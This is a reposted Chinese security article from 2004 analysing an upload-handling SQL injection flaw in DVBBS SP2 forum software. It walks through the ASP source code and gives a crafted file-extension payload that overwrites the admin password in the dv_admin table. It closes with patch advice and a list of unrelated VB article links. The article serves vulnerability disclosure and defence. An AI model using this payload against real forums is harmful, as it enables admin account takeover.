DVBBS sp2 漏洞
2004-11-26 15:58
591 查看
dvsp2上传漏洞再现----击溃动网sp2的神话 (转至Hoky Security Team)
dvsp2上传漏洞再现----击溃动网sp2的神话来自:TNT-B Security Team
原文见http://www.dvbbs.net/TNT-B/DVBBS.TXT 可能现在已经删了!hoho
前段时间听说动网的上传再次出现了不可修复的错误,有人居然说是upload.inc有错,我仔细的读了N遍代码,可以肯定的说,upload.inc应该没有办法利用,今天无意中跑到动网的官方网站上去仔细的看了一下,个人资料修改里有上传,但是发帖里却没有上传,upload.asp和post_upload.asp同样用到了upload.inc,证明这个文件绝对没有问题,那问题一定出在post_upfile.asp上了,打开这个文件再次通读一遍!
一看
If upload_ViewType<>999 and F_Type=1 then Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)") Else Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)") |
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F_Viewname,F_Type,Filesize这几个是肯定没有问题的,其它的几个我们就来看一下,这几个变量从哪来的,怎么得到的!
先说第一个replace(rename,"|","")把rename里的"|"这个符号去掉,我们看看rename的变量怎么来的,rename=createPath&Filename&"|"
是用createpath和filename连接起来再加上"|"生成的,"|"符号在后面被过滤了,可以不用考滤,再分别看看creatpath和filename
File_name = createName() Filename = File_name&"."&FileExt(由file_name和fileExt联合起来的) Private Function createName() Dim ranNum Randomize ranNum=int(999*rnd) createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum End Function |
难道,传说中的就要出现了,先不慌,我们先看看其它的地方
而creatpath又是这样来的
Private Function createPath() Dim objFSO,Fsofolder,uploadpath uploadpath=year(now)&"-"&month(now) '以年月创建上传文件夹,格式:2003-8 On Error Resume Next Set objFSO = Server.createObject("Scripting.FileSystemObject") If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then objFSO.createFolder Server.MapPath(CheckFolder&uploadpath) End If If Err.Number = 0 Then createPath=uploadpath&"/" Else createPath="" End If Set objFSO = Nothing End Function |
好,这里发现一个疑点了
我们再看另一个变量replace(FileExt,".",""),直接就是前面提到的有疑点的那个fileExt了,呵呵,看准了,就是他了。我们把他的来龙去脉全找出来,看看能不能利用
Set File=upload.File(FormName) ''生成一个文件对象
FileExt=FixName(File.FileExt)
在这里,他开始出现了
file.fileExt这个不是我们提交的扩展名吗,玩过动网上传的都知道,抓个包,改个扩展名这是蛮正常的事,看来有门了,至少我们这个地方可以利用,====,FileExt=FixName(File.FileExt)他还用fixname来过滤了的,我们看看这个函数有什么用
Function FixName(UpFileExt) If IsEmpty(UpFileExt) Then Exit Function FixName = Lcase(UpFileExt) FixName = Replace(FixName,Chr(0),"") FixName = Replace(FixName,".","") 哈哈,把.替换成空了,为什么动网sp2的上传利用不了,就在这里的原因 FixName = Replace(FixName,"asp","")把asp替换成空 FixName = Replace(FixName,"asa","") asa过滤 FixName = Replace(FixName,"aspx","") aspx过滤 FixName = Replace(FixName,"cer","") cer过滤 FixName = Replace(FixName,"cdx","") cdx过滤 FixName = Replace(FixName,"htr","") htr过滤 End Function |
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4) |
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&" |
rename=createPath&Filename&"|" File_name = createName() Filename = File_name&"."&FileExt |
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4) |
比如jpg替换成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg |
F_Type = CheckFiletype(FileExt) checkfiletype函数的代码又是这样的 Private Function CheckFiletype(FileExt) Dim upFiletype Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic FileExt=Lcase(Replace(FileExt,".","")) select Case Lcase(FileExt) Case "gif", "jpg", "jpeg","png","bmp","tif","iff" CheckFiletype=1 Case "swf", "swi" CheckFiletype=2 Case "mid", "wav", "mp3","rmi","cda" CheckFiletype=3 Case "avi", "mpg", "mpeg","ra","ram","wov","asf" CheckFiletype=4 Case Else CheckFiletype=0 End select End Function |
去掉所有的".",然后再去取后的扩展名,所以我们的语句最后结束时要用考滤到这个,因为第一语句和第二语句构造方法不一样的!)
嘎嘎,dv_admin里的admin的userpassword就被改为123了.
如果是access版的好像有点难度,分号是不能多语执行的,又不是where条件,不能拿来猜测,而且values的值好像不能用select 来把其它的值填入,只有把整个select 的值拿来返回做为记录加入,没办法在values里单独取值,有没有人能有办法构造出这个完美的语法来,教教偶,偶sql水平不是蛮高,access版的暂时还没有想到完整的办法。
文章至些结束了,最的要说的就是所有的放入到sql语句里的参数都要严格检测,这个地方的补丁一个是在fixname()函数里过滤,如果不会的暂时就先关掉发帖上传的功能吧,等补丁!:)
相关文章推荐
- VB.NET and C# Comparison(VB.NET and C# 语法比较)
- UML工具推荐 Poseidon版本 可以免费下载,自动生成代码 C++ Java C# VB.NET等 (来自德国汉堡的国际性建模软件开发商Gentleware AG的)
- VB深度下潜 之 一米深度(VB指针入门)
- VB公农历1.02版,不需要任何DLL
- 如何让你的VB6 IDE支持鼠标滚轮?
- 用vb制作目录的问题
- C#与VB.NET
- vb api制作总在最前的窗体
- VB之道
- VB.NET中的一些操作(增加第三方控件等)
- ADO.NET 開發高手線上教學課程 视频教程 vb讲解
- 想知道VB中怎么控制电灯点亮吗?请看——VB对I/O端口操作技术(转帖)
- VB中访问存储过程的几种办法(转帖)
- 使用Vbscript调用.NET WebService
- Rational Robot 基础使用手册(十一)
- 在VB.NET中分割字符串
- VC小技巧,窗体中显示bmp图象
- VB.NET Windows 窗体引介(二)
- 再谈我在VB.NET上的信心
- VB开发中背景音乐的制作